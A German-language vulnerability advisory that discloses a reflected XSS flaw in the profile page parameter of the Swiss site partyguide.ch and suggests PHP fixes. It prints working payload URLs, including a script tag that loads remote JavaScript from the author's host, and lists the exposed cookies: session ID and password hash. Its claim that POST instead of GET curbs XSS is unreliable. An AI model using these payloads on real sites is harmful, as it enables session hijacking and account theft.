Die Online-Plattform www.partyguide.ch bietet als Party-Community Partypictures, Party-Suche, Benutzerprofile, Forum, Chat uvm... PG ist eine Internetseite welche rund 200'000 Benutzer (hauptsächlich aus der Schweiz) zählt. Unter PartyGuide ist es möglich andere Profile anzusehen und genau dieser Dienst besitzt eine Schwachstelle welche sich ausnutzen lässt. Technische Details sowie Erläuterung der Erkenntnisse und vorliegender Problematik --------------- Eine Schwachstelle wurde in der Profilansicht auf www.partyguide.ch gefunden welche eine Manipulierung resp. XSS-Angriffe von Dritten erlaubt. Unter PartyGuide.ch ist es möglich Profile von anderen Users zu betrachten. Vorausgesetzt wird, dass man einen gültigen Account besitzt und eingeloggt ist. Ein gültiger Link zu einem Profil sieht so aus: http://www.partyguide.ch/user_details.php?my_pic_member_id=[NUMMER] Reales Beispiel: http://www.partyguide.ch/user_details.php?my_pic_member_id=137796 Zusehen ist dass die User-Details des Members mit der ID 137796 abgefragt und angezeigt werden. In unserem Fall ist dies mein persönliches Profil! "my_pic_member_id=137796" entspricht also dem User "yanux". Nun ist es möglich diesen Link zum Profil resp. den Parameter der Funktion "my_pic_member_id" von der Applikation "user_details.php" mittels JavaScript-Code zu erweitern um eine Cross Site Scripting Attacke (XSS) durchzuführen. Nach der User ID muss zwingend ein doppeltes Anführunszeichen => (") gesetzt werden und erst danach folgt der Schadcode. http://www.partyguide.ch/user_details.php?my_pic_member_id=137796"[XSS] http://www.partyguide.ch/user_details.php?my_pic_member_id=[NUMMER]"<script src=http://www.yanux.ch/xss.js> Ausgaben: PHPSESSID=[SESSION ID]; bblastvisit=[LAST VISIT]; c_geburtsdatum_jahr=[JAHRGANG]; c_plz=[POSTLEITZAHL]; c_kanton=[KANTON KÜRZEL]; c_geschlecht=[M/W]; c_staff=[0/1]; c_ip=[IP ADDRESS]; c_id=[USER ID]; c_psw=[MD5 PASSWORT HASH]; XSS-Beispiele: [1] <script alert(document.cookie);</script> [2] <script src=http://www.yanux.ch/xss.js> Erläuterung zum Payload: [1] JavaScript Code wird mit einem Popup-Aufruf "ALERT" und einer Cookie-Abfrage der Internetseite ausgeführt resp. eingeschleust. [2] Ein JavaScript "xss.js" wird von "www.yanux.ch" mittels "SRC" aufgerufen und der enthaltene Code wird clientseitig ausgeführt. Lösungsansatz --------------- Die PHP-Konfigurationsdatei (php.ini) sollte so eingestellt werden, dass "register_globals" auf "Off" zeigt. In der Entwicklung der Applikation sollte mit "htmlspecialchars()" oder "htmlentities()" sowie mit der PHP-Funktion "intval()" gearbeitet werden. Expertenmeinung --------------- Die vorhandene Schwachstelle wird alles "Kritisch" (Yellow) eingestuft, da ein Angreifer von ausserhalb jeden nur möglichen Code zur Ausführung bringen könnte, welcher den Besuchern erheblichen schaden zufügen könnte oder Benutzer- resp. Administratoren-Accounts übernehmen könnte (Session Hijacking). Man sollte GET-Übergaben vermeiden und zunehmend auf POST-Übergaben setzen. GET besitzt durch seine in der URL übergebenen Parameter eine stark erhöhte Angriffsfläche für XSS oder SQL-Angriffe sowie für Fuzzing. Über den Autor --------------- Deutsch: Yannick von Arx arbeitet für Swisscom AG in der Schweiz. In seiner Freizeit arbeitet er freiberuflich als IT-Security Consultant. Sie können ihn über seinen privaten Internetauftritt http://www.yanux.ch oder per E-Mail unter yannick[dot]vonarx[at]yanux[dot]ch erreichen. English: Yannick von Arx works for Swisscom Inc. in Switzerland and in his free time he works as an IT-Security Consultant. You can reach him over his website http://www.yanux.ch or email him to yannick[dot]vonarx[at]yanux[dot]ch. |